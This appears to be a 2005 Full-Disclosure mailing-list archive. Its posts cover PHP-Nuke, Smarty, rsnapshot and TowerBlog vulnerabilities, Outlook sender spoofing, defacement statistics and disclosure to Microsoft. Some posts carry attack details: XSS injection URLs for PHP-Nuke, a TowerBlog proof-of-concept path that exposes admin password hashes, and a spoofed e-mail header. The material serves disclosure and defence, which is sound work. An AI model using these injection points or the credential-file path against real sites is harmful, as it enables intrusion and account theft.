common "nuke_" to something random like "zloqf7_" would render that
sample, and all others based on "nuke_" useless.

Of course in the grander scheme that isn't foolproof, but does work
against the default GETs.

--
Sincerely,

Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CC Blog ......... http://blog.castlecops.com
Staff Blogs ..... http://busterbunny.castlecops.com
Our Vision ...... http://castlecops.com/postt63382.html

http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com

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[Full-disclosure] [VulnDiscuss] Re: [SECURITYREASON.COM] PhpNuke 7.6=>x Multiple vulnerabilities cXIb8O3.12[Scanned]

From: Paul Laudanski (zxcastlecops.com)
Date: Sat Apr 09 2005 - 10:45:59 CDT


A cursory web search revealed...

On 4 Apr 2005, Maksymilian Arciemowicz wrote:

> - --- 1.Description --- PHP-Nuke is a Web Portal System, storytelling
[SNIP]
>
> - --- 2. XSS ---
> 2.0
> http://[HOST]/[DIR]/banners.php?op=EmailStats&name=sex&bid=[XSS]
>
> 2.1
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=TopRated&ratenum=[XSS]&ratetype=num

This has been a bug for over a year now:

http://www.waraxe.us/content-5.html

>
> 2.2
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=%3Ch1%3E50&ratetype=num

This too was pointed out nearly two years ago:

http://archives.neohapsis.com/archives/fulldisclosure/2003-q2/1213.html

>
> 2.3
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS]
>
> 2.4
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS]
>
> 2.5
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS]
>
> 2.6
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS]
>
> 2.7
> http://[HOST]/[DIR]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS]

In general a multi-layered defense system is a good idea. mod_security is
a great tool for Apache which can be installed to catch certain kinds of
GET injections. Certainly not fool proof as the codebase should filter
inputs.

>
> - --- 3. Path Disclousure ---
>

On the topic of programming it is good practice to validate input,
however, for path disclosure, it is an even better plan to disable
displaying errors on a production website.

> - --- 4. How to fix ---
> Because phpnuke don't have security contact, you can download my patch from securityreason.com
> http://securityreason.com/patch/PhpNuke-7.6-adv.by.cXIb8O3.12-patch.tar.gz
>

Actually I know of a couple sites that work effortlessly to promote
security in php-nuke. These days chatserv works on writing and collecting
patches into a bundle for download:

nukecops.com
nukeresources.com
ravenphpscripts.com

I'd suggest posting your finds as news submissions to these sites, with
always a followup to phpnuke.org's Francisco (AKA nukelite).

--
Sincerely,

Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CC Blog ......... http://blog.castlecops.com
Staff Blogs ..... http://busterbunny.castlecops.com
Our Vision ...... http://castlecops.com/postt63382.html

http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com

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Re: [Full-disclosure] Zone-H 2004 statistics are ready to be downloaded

From: Mike Barushok (mikehomekcisp.net)
Date: Sat Apr 09 2005 - 16:31:01 CDT


On Fri, 8 Apr 2005, Astharot wrote:

> The graphical statistics for the year 2004 are finally ready! They also
> contains excerpts of the year 2002 amd 2003 when needed.
>
> There are two files
>
> a nice PDF document which can be downloaded here
>
> http://www.zone-h.org/download/file=5392/

Problem with graph in the document:
In the PDF document, on page 5, the same graph appears twice
with two different captions. The one labled 'Single defacements
by months', which is the lower one on the page, appears to be
inconsistent with graphs elsewhere in the document.

Problems with text in the document:
Pages 1 and 2 have many errors of spelling and of grammar,
throughout each paragraph and the index. The entire text
needs to be re-written or corrected by someone with better
English skills if a professional appearance is desired.

Problem with using the information complying with disclaimer:
Note on page 2 states no commercial purpose, and goes on to
allow students, journalists, and researchers to use except for
when 'direct or indirect profit is obtained'. Yet all students,
journalists and researchers expect direct or indirect profit.
Unless profit is explicitly defined to mean only monetary
renumeration directly for the product that cites the article,
because profit generally would include reputation, exchange
of work for progess towards completion of a degree, ability
perform any tranformation of data into information or to
benefit in any number of intangeable ways from the information.

The disclaimer overrides the Creative Commons Deed on Page 13:
The ordinary method a student, journalist, or researcher would
use the document is to cite only parts that are useful, or to
transform the information into a form that fits their intended
use. Those uses would be permitted were it not for the verbage
on Page 2. There are no rights allowed under the limits on Page 2
that extend what would be allowed by Creative Commons
license - 'Attribution-NonCommercial-NoDerivs',
on page 13.
View the full license at:
 http://creativecommons.org/licenses/by-nc-nd/2.0/legalcode
As such, the license on Page 2 is more restrictive than what
you probably intended, and there appears to be no reason to
have the Note on page 2, unless you did not intend to release
with the Creative Commons license on Page 13.

>
> while the full set of data in txt format, ready to be imported in your
> spreadsheet can be downloaded here:
>
> http://www.zone-h.org/download/file=5393/
>
<snipped>
> Enjoy!
>
> SyS64738 - Roberto Preatoni
> astharot - Gerardo Di Giacomo
> www.zone-h.org
>
> Original article:
> - http://zone-h.org/en/news/read/id=4457/
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

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[Full-disclosure] [Artice] Click Fraud FAQ

From: Sumy (sanandresgmail.com)
Date: Sat Apr 09 2005 - 17:53:41 CDT


What Is Click Fraud?

Click fraud, or click spamming, occurs when a person or program
accesses a URL with no intention of browsing the site, purchasing a
product or performing any other type of conversion action. That
definition may be hard to understand so we have put together some
examples of the types of click fraud that is occurring every day (and
may be occurring to you!) and how these fraudulent activities occur.

How Is Click Fraud Committed?
Paid to Click Jobs
"A growing number of housewives, college graduates, and even working
professionals across metropolitan cities are rushing to click paid
Internet ads to make $100 to $200 (up to Rs 9,000) per month," the
Times of India claims. This article was published in May of 2004 and
serves as a wakeup call to all online advertisers. These companies are
popping up all over and have many different ways to defraud PPC
advertisers. They pay people to search for certain keywords, click on
certain ads and even tell them to stay on each site a certain amount
of time so it doesn't look suspicious. They also even email ads to
employees to have them click. Why does this happen? For the reasons
above, competitors and affiliates hire these companies because they
are able to increase the cost to their competitors or increase their
own revenue through their advertising affiliate programs which ever
they choose.

Full FAQ
http://www.exploitx.com/forum/azbb.php?1113062913

Internet Fraud Articles:
http://www.exploitx.com/forum/azbb.php?Internet_Fraud

--
http://www.outwartips.net
http://www.exploitx.com
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[Full-disclosure] OSVDB Recognized as 501(c)3 Non-Profit Organization

From: jkouns (jkounsopensecurityfoundation.org)
Date: Sun Apr 10 2005 - 01:37:35 CDT


OSVDB Recognized as 501(c)3 Non-Profit Organization

The Open Source Vulnerability Database, a project to catalog and
describe the world's security vulnerabilities, has continued to focus on
improving database content and increasing services offered to the
security community.

Since the official launch of OSVDB in March 2004, the vulnerability
database has grown from 1000 to over 6700 complete entries. This rapid
growth has far surpassed initial estimates, and the project’s many
successes show that the open source community can truly deliver
world-class security information.

OSVDB’s rapid success is directly attributed to the dedicated volunteers
who help populate, maintain and enhance the database. Their hard work
has already allowed OSVDB to exceed the amount of vulnerability
information available in some databases. At the current rate of growth,
the project is poised to surpass the other vulnerability databases by
the end of 2005. “It will soon become mandatory for security
professionals to use OSVDB if they want the most thorough information
available,” says Brian Martin, one of the project leaders.

The OSVDB leadership team has been aggressively working to ensure the
long term viability of the project. After improving content to be
recognized as an industry leader, the team determined that incorporating
as a non-profit organization was imperative to OSVDB’s future success.
Founded to formally run the OSVDB project, the Open Security Foundation
has been approved as a 501(c)3 non-profit organization under United
States law. Jake Kouns, OSVDB project lead, says, “Achieving our
non-profit status will allow us to seek funding and ensure free
vulnerability information will be available for years to come.”

Two of the OSVDB project leaders, Brian Martin and Jake Kouns, will be
presenting a talk called “Vulnerability Databases: Everything is
Vulnerable” at cansecwest/core05 (http://www.cansecwest.com/) in May
2005. The presentation aims to provide an unbiased review of
vulnerability databases, and addresses the value they should provide to
security practitioners.

###

More Information:

Jake Kouns
Open Source Vulnerability Database Project
+1.804.306.8412
jkounsosvdb.org
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Re: [Full-disclosure] Zone-H 2004 statistics are ready to be downloaded

From: Gerardo 'Astharot' Di Giacomo (astharotzone-h.org)
Date: Sun Apr 10 2005 - 07:41:50 CDT


Thanks for pointing out the mistakes, we corrected them. The duplicated
graph mistery solution was fairly simple: we used twice the data for
the massdefacement counted by month.
Now the single defacements counted by month graph is at its place.

The discrepancy in the licence has also been fixed. This is happening
when multiple hands are working on a single thing. Thanks for pointing
out it as well.

We also added a note( suggested by Jericho) to explain how mass
defacements and single defacements are counted.

About the english, we are working over it :) We are confident that in
just a couple of centuries we will be able to come out with
Gartner-like reports

Zone-H staff
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[Full-disclosure] List Charter

From: John Cartwright (johncgrok.org.uk)
Date: Sun Apr 10 2005 - 09:19:01 CDT


[Full-Disclosure] Mailing List Charter
John Cartwright <johncgrok.org.uk>
 

- Introduction & Purpose -

This document serves as a charter for the [Full-Disclosure] mailing
list hosted at lists.grok.org.uk.

The list was created on 9th July 2002 by Len Rose, and is primarily
concerned with security issues and their discussion. The list is
administered by John Cartwright.

The Full-Disclosure list is hosted and sponsored by Secunia.

- Subscription Information -

Subscription/unsubscription may be performed via the HTTP interface
located at http://lists.grok.org.uk/mailman/listinfo/full-disclosure.

Alternatively, commands may be emailed to
full-disclosure-requestlists.grok.org.uk, send the word 'help' in
either the message subject or body for details.

 
- Moderation & Management -

The [Full-Disclosure] list is unmoderated. Typically posting will be
restricted to members only, however the administrators may choose to
accept submissions from non-members based on individual merit and
relevance.

It is expected that the list will be largely self-policing, however in
special circumstances (eg spamming, misappropriation) then offending
members may be removed from the list by the management.

An archive of postings is available at
http://lists.grok.org.uk/pipermail/full-disclosure/.
 

- Acceptable Content -

Any information pertaining to vulnerabilities is acceptable, for
instance announcement and discussion thereof, exploit techniques and
code, related tools and papers, and other useful information.

Gratuitous advertisement, product placement, or self-promotion is
forbidden. Disagreements, flames, arguments, and off-topic discussion
should be taken off-list wherever possible.

Humour is acceptable in moderation, providing it is inoffensive.
Politics should be avoided at all costs.

Members are reminded that due to the open nature of the list, they
should use discretion in executing any tools or code distributed via
this list.
 

- Posting Guidelines -

The primary language of this list is English. Members are expected to
maintain a reasonable standard of netiquette when posting to the list.

Quoting should not exceed that which is necessary to convey context,
this is especially relevant to members subscribed to the digested
version of the list.

The use of HTML is discouraged, but not forbidden. Signatures will
preferably be short and to the point, and those containing
'disclaimers' should be avoided where possible.

Attachments may be included if relevant or necessary (e.g. PGP or
S/MIME signatures, proof-of-concept code, etc) but must not be active
(in the case of a worm, for example) or malicious to the recipient.

Vacation messages should be carefully configured to avoid replying to
list postings. Offenders will be excluded from the mailing list until
the problem is corrected.

Members may post to the list by emailing
full-disclosurelists.grok.org.uk. Do not send subscription/
unsubscription mails to this address, use the -request address
mentioned above.

- Charter Additions/Changes -

The list charter will be published at
http://lists.grok.org.uk/full-disclosure-charter.html.

In addition, the charter will be posted monthly to the list by the
management.

Alterations will be made after consultation with list members and a
concensus has been reached.
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[Full-disclosure] UPDATE: [ GLSA 200503-35 ] Smarty: Template vulnerability

From: Thierry Carrez (koongentoo.org)
Date: Sun Apr 10 2005 - 11:33:10 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory [UPDATE] GLSA 200503-35:02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Smarty: Template vulnerability
      Date: March 30, 2005
   Updated: April 09, 2005
      Bugs: #86488
        ID: 200503-35:02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Update
======

New ways of bypassing Smarty's "Template security" were found and
fixed in Smarty. Users making use of that feature are encouraged
to upgrade to version 2.6.9.

The updated sections appear below.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 dev-php/smarty < 2.6.9 >= 2.6.9

Description
===========

A vulnerability has been discovered within the regex_replace modifier
of the Smarty templates when allowing access to untrusted users.
Furthermore, it was possible to call functions from {if} statements and
{math} functions.

Resolution
==========

All Smarty users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=dev-php/smarty-2.6.9"

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200503-35.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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[Full-disclosure] TowerBlog <= 0.6 Admin Account View [x0n3-h4ck]

From: CorryL (corrylsitoverde.com)
Date: Sun Apr 10 2005 - 11:36:50 CDT


-=[--------------------ADVISORY-------------------]=-
-=[
      ]=-
-=[ TowerBlog <= 0.6 ]=-
-=[
      ]=-
-=[ Author: CorryL x0n3-h4ck.org ]=-
-=[
      ]=-
-=[-----------------------------------------------------]=-

-=[+] Application: TowerBlog
-=[+] Version: 0.6
-=[+] Vendor's URL: http://tower.hybryd.org/?x=home
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: view admin account
-=[+] Exploitation: Remote/Local
-=[-]
-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Reference: www.x0n3-h4ck.org ~ irc.xoned.net #x0n3-h4ck

..::[ Descriprion ]::..

TowerBlog is, in short, a single user web-log (or web journal if you will)
content management system, aka CMS.
While there are many others out there
(MovableType and GreyMatter as linked amongst the others)
none quite filled my own personal needs and desires.
Mind you, this isn't meant to be an insult to the other CMS' out there,
I myself used both MovableType and GreyMatter extensively for some time,
however no system I could find was as powerful as I needed, nor as easily
expanded.
The only one that came close, was PHPNuke, but it was too bulky and bloated
for my needs.

..::[ Bug ]::..

this application and' he/she cuts to a type of bug that would allow to an
attacker
to come in possession of very precious information as user and admin pass.
This and' caused because' the data related to the admin acount are saved in
a text file,
that and' easily visible on the browser.

..::[ Proof Of Concept ]::..

http://host/path of blog/_dat/login

189bbbb00c5f1fb7fba9ad9285f193d1 << UserName Admin
81dc9bdb52d04dc20036dbd8313ed055 << Password Admin

the result I am the relative users and admin password in md5,
the first one corresponds to the user, the second to the password

..::[ Disclousure Timeline ]::..

[10/04/2005] - Vendor notification
[10/04/2005] - Vendor Response
[10/04/2005] - Public disclousure

CorryL
corryl80gmail.com
www.x0n3-h4ck.org
Italian Security Team
Fax (+39) 02700520894
Tel (+39) 06452215277
irc.xoned.net #x0n3-h4ck

_________________________________
www.seekstat.it is your web stat
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[Full-disclosure] [gentoo-announce] UPDATE: [ GLSA 200503-35 ] Smarty: Template vulnerability

From: Thierry Carrez (koongentoo.org)
Date: Sun Apr 10 2005 - 11:33:10 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory [UPDATE] GLSA 200503-35:02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Smarty: Template vulnerability
      Date: March 30, 2005
   Updated: April 09, 2005
      Bugs: #86488
        ID: 200503-35:02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Update
======

New ways of bypassing Smarty's "Template security" were found and
fixed in Smarty. Users making use of that feature are encouraged
to upgrade to version 2.6.9.

The updated sections appear below.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 dev-php/smarty < 2.6.9 >= 2.6.9

Description
===========

A vulnerability has been discovered within the regex_replace modifier
of the Smarty templates when allowing access to untrusted users.
Furthermore, it was possible to call functions from {if} statements and
{math} functions.

Resolution
==========

All Smarty users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=dev-php/smarty-2.6.9"

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200503-35.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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RE: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: Curt Purdy (purdytecman.com)
Date: Sun Apr 10 2005 - 15:28:51 CDT


Jason Coombs wrote:
<snip?
> Business depends on secrets for viability.

Not necessarily Jaon. We operate on an open basis here (save for our
customer list of course). I have found that in business, viability relies
more on business-plan and execution than anything else.

> MICROSOFT: STOP THE WAR! NO MORE SECRETS!

Unfortunatly those words are falling on deaf ears, which is why I am
becoming a Novell evangelist. They are giving a lot of their stuff to the
open-source community like the code for SuSE Yast.

Curt Purdy CISSP, GSEC, CNE, MCSE+I, CCDA
Senior Security Engineer
Continental Technologies, Inc.
cpurdywebcti.com

-----------------------------

If you spend more on coffee than on IT security, you will be hacked.
What's more, you deserve to be hacked.
-- former White House cybersecurity czar Richard Clarke

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[Full-disclosure] rsnapshot Security Advisory 001

securityrsnapshot.org
Date: Sun Apr 10 2005 - 16:59:18 CDT


============================================================================
rsnapshot Security Advisory 001 securityrsnapshot.org
http://www.rsnapshot.org/security/
Apr 10th, 2005 Nathan Rosenquist
============================================================================

  Severity: high
  Vulnerability: local privilege escalation
  Fix provided: yes

-------------
1) Background
-------------

rsnapshot is a filesystem snapshot utility for making backups of local and
remote systems.

Using rsync and hard links, it is possible to keep multiple, full backups
instantly available. The disk space required is just a little more than the
space of one full backup, plus incrementals.

----------------------
2) Problem description
----------------------

The copy_symlink() subroutine in rsnapshot incorrectly changes file
ownership on the files pointed to by symlinks, not on the symlinks
themselves. This would allow, under certain circumstances, an arbitrary
user to take ownership of a file on the main filesystem.

This subroutine is called under the following circumstances:

  a) If the cmd_cp parameter has NOT been enabled, OR

  b) If the backup_script parameter is set, and the backup script
     generates symlinks as part of its output

  c) AND if the attacker can create symlinks in a directory that is backed
     up, either by creating them directly or influencing a backup script.

This vulnerability has been fixed in rsnapshot versions 1.1.7 and 1.2.1.
It is recommended that all users upgrade immediately.

-----------------------
3) Upgrade Instructions
-----------------------

For users of rsnapshot 1.2.0, download and install version 1.2.1.

For users of rsnapshot 1.1.6 or earlier, download and install version
1.1.7.

  ---------------
  rsnapshot 1.2.1
  ---------------
  http://www.rsnapshot.org/downloads/rsnapshot-1.2.1.tar.gz
  http://www.rsnapshot.org/downloads/rsnapshot-1.2.1.tar.gz.asc

  http://www.rsnapshot.org/downloads/rsnapshot-1.2.1-1.noarch.rpm
  http://www.rsnapshot.org/downloads/rsnapshot-1.2.1-1.noarch.rpm.asc

  http://www.rsnapshot.org/downloads/rsnapshot_1.2.1-1_all.deb
  http://www.rsnapshot.org/downloads/rsnapshot_1.2.1-1_all.deb.asc

  ---------------
  rsnapshot 1.1.7
  ---------------
  http://www.rsnapshot.org/downloads/rsnapshot-1.1.7.tar.gz
  http://www.rsnapshot.org/downloads/rsnapshot-1.1.7.tar.gz.asc

  http://www.rsnapshot.org/downloads/rsnapshot-1.1.7-1.noarch.rpm
  http://www.rsnapshot.org/downloads/rsnapshot-1.1.7-1.noarch.rpm.asc

  http://www.rsnapshot.org/downloads/rsnapshot_1.1.7-1_all.deb
  http://www.rsnapshot.org/downloads/rsnapshot_1.1.7-1_all.deb.asc

--------------
4) Workarounds
--------------

Enable the cmd_cp parameter (requires GNU cp, and works best on Linux).

Make sure any scripts specified by the backup_script parameter do not
create symlinks.
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[Full-disclosure] RE: [NT] Microsoft Multiple E-Mail Client Address Spoofing Vulnerability

From: Randall M (randallmfidmail.com)
Date: Sun Apr 10 2005 - 19:43:07 CDT


As a security professional working for a Corporate Office the "Multiple
E-Mail Client Address Vulnerability" (please see original advisory attached
below) caused me no small concern. The vulnerability described was tested on
Outlook 2003 and Exchange 2003 as far as I could tell. We deploy Outlook 97,
2000, 2003 on an Exchange 2000 server. The "social engineering" possibility
concerned me therefore I attempted to produce this vulnerability using
Outlook 2003 on an outside POP3 account and on a corporate Outlook 2003
client through an Exchange 2000 server sending both from and to through
both.

Overall finding: No spoofing is of concern with POP3 account or Exchange
2000 using Outlook 2003 since "reply" or "reply to all" will only go to the
spoof address (used for social engineering) and not the default sender
address (the one attempting to use social engineering). Thus social
engineering attempts will not work.

Application: Outlook 2003 client
Account type: POP3

Sent mail to POP3 account address.

1. On POP3 only "one" email in the "From" field is allowed. Thus only able
to put a spoof address in. Original is default.
Once arriving the view set to show headers shows only the "spoof". Once POP3
email arrives and is opened it displays original with a "on behalf of" spoof
sender in "bold".

Sent mail to corporate address.

2. Using a POP3 account and entering a legitimate address of a corporate
management team and sending to an employee at the corporate office (social
engineering attempt) address shows the manager spoofed address in the view
but still shows it as a "on behalf of" (in bold) if mail is opened or
replied to. Same as sending to POP3 account.

Side notes:
        a. If employee has managers email go to separate folder using rules,
the spoofed email will not follow that rule.
        b. If employee has view pane open the "From" address appears with
original and the "on behalf of" which would be suspicious.

Application: Exchange 2000 OWA
1. Could not manipulate the "From" field.

Application: Outlook 2003 client
Account type: Corporate Exchange 2000 server
Tested sending spoofed manager in the "From" field to another corporate
account.

Sent mail to another corporate employee:

1. Using spoofed manager address in "From" field. Mail arrived showing only
the spoofed manager address (no default address) with header view. If mail
is opened the "From" field still showed only the manager address. A "reply"
or "reply to all" would only reply to spoof address of manager which is
legit and thus he alone would receive.
2. I could not send email with more then one address in the "from" field no
mater what combination of commas.

Sent mail to outside POP3 account:

1. Mail arrives showing only the spoofed manager address (used for social
engineering attempts). A reply though would only go to spoofed manager
address which is legit.

Summary:

I was only concerned with Exchange 2000 and Outlook 97, 2000, 2003 since
this is what our company uses. I could not test on Exchange 2003. Though I
found that "spoofing" was available and that it showed in the header view,
the concern of the author of the below advisory...
____________
 "Consider the following example: A corporate SMTP server is configured to
drop all mail received from the external network claiming to be from an
internal address. By exploiting this issue, an attacker can bypass the
imposed restrictions and transmit a message that appears to come from an
internal user. This attack, combined with social engineering, could
potentially lead to further compromise."
__________

...is no concern with Exchange 2000 using corporate and POP3 2000, 2003
clients. The default sender and only one spoofing address could be used and
that using reply or reply to all would only go to the "spoofed" address
which would pose no threat since this is used for the social engineering
attempt and that a reply would then go to that address only and not the
default sender.

I attempted to use comma-separated variables on both the POP3 and corporate
clients(Outlook 2003) but could not duplicate what the advisory stated. My
clients would only allow one address to show in the "From" field.

If you can find fault with my findings I would be most grateful. If my
explanations above are confusing feel free to ask
me to clarify since my mind often runs faster then my fingers. Flaming is
helpful since my concern is to prevent this.

thank you
Randall M

"If we ever forget that we're one nation under God, then we will be a nation
gone under."
- Ronald Reagan

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::
_________________________________

 
 

:-----Original Message-----
:From: SecuriTeam [mailto:supportsecuriteam.com]
:Sent: Sunday, April 10, 2005 10:50 AM
:To: listsecuriteam.com
:Subject: [NT] Microsoft Multiple E-Mail Client Address
:Spoofing Vulnerability
:
:The following security advisory is sent to the securiteam
:mailing list, and can be found at the SecuriTeam web site:
:http://www.securiteam.com
:- - promotion
:
:The SecuriTeam alerts list - Free, Accurate, Independent.
:
:Get your security news from a reliable source.
:http://www.securiteam.com/mailinglist.html
:
:- - - - - - - - -
:
:
:
: Microsoft Multiple E-Mail Client Address Spoofing Vulnerability
:---------------------------------------------------------------
:---------
:
:
:SUMMARY
:
: <http://www.microsoft.com/outlook/> Microsoft Outlook
:provides an integrated solution for managing and organizing
:e-mail messages, schedules, tasks, notes, contacts, and other
:information. Remote exploitation of an address spoofing
:vulnerability in various Microsoft Corp. e-mail clients could
:allow attackers to social engineer sensitive information from
:end users.
:
:DETAILS
:
:Vulnerable Systems:
: * Microsoft Outlook as distributed with Office XP and 2003 as
:well as Outlook Web Access as distributed with Exchange 2003
:have been confirmed as vulnerable. Prior versions are
:suspected to be affected as well
:
:Immune Systems:
: * Microsoft Outlook Express is not affected by this issue
:
:Microsoft Outlook and Microsoft Outlook Web Access (OWA) are
:widely deployed collaboration clients in corporate networks.
:The vulnerability specifically exists in message header
:parsing and allows an attacker to spoof the "From" field that
:is displayed on the user's screen. Within the SMTP header,
:when the From field contains multiple comma-separated
:addresses, Outlook and OWA will only display the first
:address. Consider the following example header:
:
:From: supportyour.company, Phisher <phisherattackers.domain>
:
:Outlook and OWA will only display the address
:"supportyour.company" as the sender address. While
:server-side e-mail spoofing is a known matter, this issue is
:relevant as it exists within the client. Consider the
:following example: A corporate SMTP server is configured to
:drop all mail received from the external network claiming to
:be from an internal address. By exploiting this issue, an
:attacker can bypass the imposed restrictions and transmit a
:message that appears to come from an internal user. This
:attack, combined with social engineering, could potentially
:lead to further compromise.
:
:Workaround:
:Examine the full mail headers of any suspicious e-mail
:messages prior to taking described actions or following live links.
:
:Vendor Status:
:Microsoft has reviewed the issue and has made the
:determination that while a bug fix may be implemented in a
:future service pack, a security advisory/patch will not be
:released for this issue.
:
:Disclosure Timeline:
:01/21/2005 - Initial vendor notification
:01/24/2005 - Initial vendor response
:04/08/2005 - Public disclosure
:
:
:ADDITIONAL INFORMATION
:
:The information has been provided by
:<mailto:idlabs-advisoriesidefense.com> iDEFENSE.
:The original article can be found at:
:<http://www.idefense.com/application/poi/display?type=vulnerabilities>
:http://www.idefense.com/application/poi/display?type=vulnerabilities
:
:
:
:========================================
:
:
:This bulletin is sent to members of the SecuriTeam mailing list.
:To unsubscribe from the list, send mail with an empty subject
:line and body to: list-unsubscribesecuriteam.com In order to
:subscribe to the mailing list, simply forward this email to:
:list-subscribesecuriteam.com
:
:
:====================
:====================
:
:DISCLAIMER:
:The information in this bulletin is provided "AS IS" without
:warranty of any kind.
:In no event shall we be liable for any damages whatsoever
:including direct, indirect, incidental, consequential, loss of
:business profits or special damages.
:
:
:
:
:

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Re: [Full-disclosure] How to Report a Security Vulnerability to Microsoft

tuytumadreatt.net
Date: Mon Apr 11 2005 - 01:56:13 CDT


>
> hahahahahaha
>
> m$ doing social engineering on fd, this is a joke.
>
> basically they want your 0days so billg becomes more rich.
>

Mr. Guninski, although I am a huge fan of your work, I could not disagree more. I am sending this email from Redmond where I was invited by Microsoft to a small conference about security (it was mostly about what they go through when stuff is reported). "M$", as you call it, is not trying to get your 0days. They simply want to protect customers, and, although a large part about it is profits, the concern is mostly (as far as I know) about the users. Microsoft's biggest fear is wide-spread virus epidemics, so when a critical vulnerability is fully disclosed without prior notice to MSRC, Microsoft goes into an emergency state and everyone gets off of vacation early to come in and help resolve the issue (as was the case with my auto-sp2rc release in December, also called "Paul's Christmas" by MSRC employees). Microsoft knows that security researchers hang out on lists like fd a bugtraq, so what better place to eliminate the common improper disclosing ignorance than to provide cl
 ear, concise instructions directly on the security hotspots?

Regards,
Paul
Greyhats Security
http://greyhatsecurity.org

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Re: [Full-disclosure] How to Report a Security Vulnerability to Microsoft

From: Dan Becker (geggamgmail.com)
Date: Mon Apr 11 2005 - 02:14:45 CDT


On Apr 11, 2005 1:56 AM, tuytumadreatt.net <tuytumadreatt.net> wrote:
>

> Mr. Guninski, although I am a huge fan of your work, I could not disagree
> more. I am sending this email from Redmond where I was invited by Microsoft
> to a small conference about security (it was mostly about what they go
> through when stuff is reported). "M$", as you call it, is not trying to get
> your 0days. They simply want to protect customers, and, although a large
> part about it is profits, the concern is mostly (as far as I know) about the
> users. Microsoft's biggest fear is wide-spread virus epidemics, so when a
> critical vulnerability is fully disclosed without prior notice to MSRC,
> Microsoft goes into an emergency state and everyone gets off of vacation
> early to come in and help resolve the issue (as was the case with my
> auto-sp2rc release in December, also called "Paul's Christmas" by MSRC
> employees). Microsoft knows that security researchers hang out on lists like
> fd a bugtraq, so what better place to eliminate t he common improper
> disclosing ignorance than to provide clear, concise instructions directly on
> the security hotspots?
>
>
>
> Regards,
>
> Paul

Dumb question... since this is openly admitted as for profit you are
posting this... what are you paying for exploits ?

We all know others pay for them.
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Re: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

tuytumadreatt.net
Date: Mon Apr 11 2005 - 02:22:47 CDT


> this is basicly the same response I had from my OWA advisory ...
>
> >VI. VENDOR RESPONSE
> >
> >Microsoft has reviewed the issue and has made the determination that
> >while a bug fix may be implemented in a future service pack, a security
> >advisory/patch will not be released for this issue
>
> therefore, in the interest of everones security, iDefense released the
> advisory ( as did I ) without a patch being released first.
> it is quite possible they ( Microsoft ) are trying to make out like they
> were'nt contacted before said advisory was released.... but that is just my
> opinion on observation.
>
> my 2 bits,
>
> Donnie Werner
>

That response was given to me when I reported a DoS vulnerability for Internet Explorer (which, might I add, required user interaction). It simply meens that the reported vuln, on a severity scale of 1-10, would pretty much be given a 1. If I'm not mistaken, your OWA vulnerability just spoofs the From address. Although some forms of social engineering MIGHT be possible, there is ultimately no use for something this minor. Think for a second about how much time and resources, including human labor required to produce the patch as well as the technology department employees that must install patches on every computer in large corperations, goes into making a patch. First of all, there's the whole problem with does the solution break 3rd party software. Also theres a problem with cross-platform software (they do have stuff for Mac you know). Another thing they have to worry about is how much money and resources it costs companies other than Microsoft to apply the patches. When c
